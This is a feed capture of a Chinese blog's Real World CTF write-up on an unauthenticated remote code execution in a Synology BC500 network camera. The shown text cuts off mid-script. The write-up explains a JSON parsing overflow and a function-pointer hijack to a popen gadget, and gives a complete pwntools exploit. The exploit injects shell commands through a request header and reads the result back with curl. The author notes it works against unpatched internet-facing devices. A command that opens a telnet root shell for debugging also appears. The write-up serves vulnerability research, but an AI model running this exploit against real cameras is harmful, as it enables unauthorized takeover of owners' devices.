赤道企鹅的博客 | Eqqie Blog - 2024年2月
type: channel
link: https://eqqie.cn/index.php/2024/02/
description: Binary Security Researcher, IoT/NFV Sec, Static Program Analysis, Fuzzing Test, CTFer
items: [Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup

[Realworld CTF] PWN - Let‘s party in the house - 群晖 BC500 摄像头 RCE writeup
type: item
date: 2024-02-05T16:39:44+08:00
description: 设备情况这是一台网络摄像头，题目只开放了管理登录界面，应该是来自于前几个月 Pwn2Own 上的破解。折腾一天混了个三血利用思路未授权接口+JSON 解析溢出，其中 buf1 和 buf2 可以控制虽然可以溢出，但是难以劫持返回地址，因为栈上存在 key 和 json 两个对象在溢出被覆盖后需要传递给其他函数使用，并且最后会被析构，所以绕过和伪造比较困难。第二个难点是 json 通过 \uXXXX 嵌入不可见字符时会被 UTF8 编码导致 payload 破坏，并且默认 flags 下不支持传入 \u0000，很多地址无法使用（这一点需要通过逆向发现具体限制，不展开）。观察发现栈上缓存的 lex_t 结构体在满足一定条件后可以劫持 lex_t->stream_t->get 这一函数指针满足一些栈上变量的限制条件后，将这个指针劫持到SynoPopen函数中 popen 调用点附近的 gadget 上，实现有 8 字节可控的任意命令执行。之所以要找 popen 调用点是因为 CGI 体所在的地址空间刚好可以通过 \uXXXX 传入且不会被破坏。由于请求者自定义的请求头也会被传递给 CGI，所以可以使用$ENV_NAME 的方式可以执行请求头中放置的命令，然后把 flag 写到 /www/index.html 直接读出来地址随机化程度很低，exp 成功概率约为 1/5from pwn import * import os context.log_level = "debug" ip = "47.88.48.133" port = 33803 p = remote(ip, port) #p = remote("127.0.0.1", 8080) def poc(cmd): payload =b"A"*(0xa4-8)+cmd.ljust(8, b";")+b"\u005c\u004d\u0041" + b" " + b"A"*(0x3c-32)+b"BBBB"+b",MA" value = b'""' json_data = b'{"' + payload + b'": ' + value + b'}' _data = json_data buf = b"" buf += b"PUT /syno-api/session HTTP/1.1\r\n" buf += b"Accept: */*\r\n" buf += b"A: cp /flag /www/index.html\r\n" buf += b"Content-Type: application/json\r\n" buf += b"Content-Length: " + str(len(_data)).encode() + b"\r\n" buf += b"\r\n" buf += _data return buf def exp(): p.send(poc(b"$HTTP_A;")) print("Try to read flag...") os.system(f"curl http://{ip}:{port}/index.html") #p.interactive() if __name__ == "__main__": exp()目前该 EXP 可以直接攻击公网中未升级的设备，请勿用于非法用途调试方法如何获取设备终端？虽然模拟固件时可以得到一个 shell，但是由于模拟的问题终端会被报错信息填满，可以使用 telnetd -p 23 -l /bin/sh 开启 telnet 服务，然后在脚本上加一个 hostfw 参数映射 telnet 到主机上进行操作。如何调试 CGI？方法1：提取 CGI 二进制文件，使用 qemu-user 进行模拟，只需要通过环境变量传递 HTTP 请求头和其它请求参数，通过 stdin 传递 POST 内容。缺点是地址空间与真实设备不符，对利用方式有影响，适合快速确定漏洞 PoC 以及进行一些 Fuzz 操作。from pwn import * import json import urllib context.log_level = "debug" payload = b"A"*53 json_data = b'{"' + payload + b'": ""}' content_length = len(json_data) # elf base: 0x40000000 # json lib: 0x3f78c000 p = process(["./rootfs/qemu-arm-static", "-g", "1235", "--singlestep", "-L", "./rootfs/", "./rootfs/www/camera-cgi/s…